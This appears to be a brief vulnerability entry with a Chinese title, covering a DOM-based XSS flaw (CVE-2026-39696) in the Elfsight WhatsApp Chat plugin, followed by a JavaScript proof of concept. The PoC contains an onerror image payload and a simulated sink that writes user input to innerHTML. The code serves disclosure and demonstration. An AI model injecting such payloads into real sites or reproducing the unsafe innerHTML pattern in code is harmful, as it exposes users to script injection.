CVE-2026-39696 Elfsight WhatsApp Chat插件DOM型XSS漏洞

/** * PoC for CVE-2026-39696 DOM-Based XSS * This payload demonstrates script execution via the vulnerable parameter. * Usage: Inject the payload into the vulnerable input field or URL parameter. */ // Malicious payload to execute JavaScript var payload = '<img src=x onerror=alert(\'XSS-CVE-2026-39696\')>'; // Simulation of the vulnerable sink (conceptual) // In the real plugin, this might be: element.innerHTML = userInput; function simulateVulnerability(userInput) { document.getElementById('chat-widget').innerHTML = userInput; } console.log("Injecting payload: " + payload); // simulateVulnerability(payload);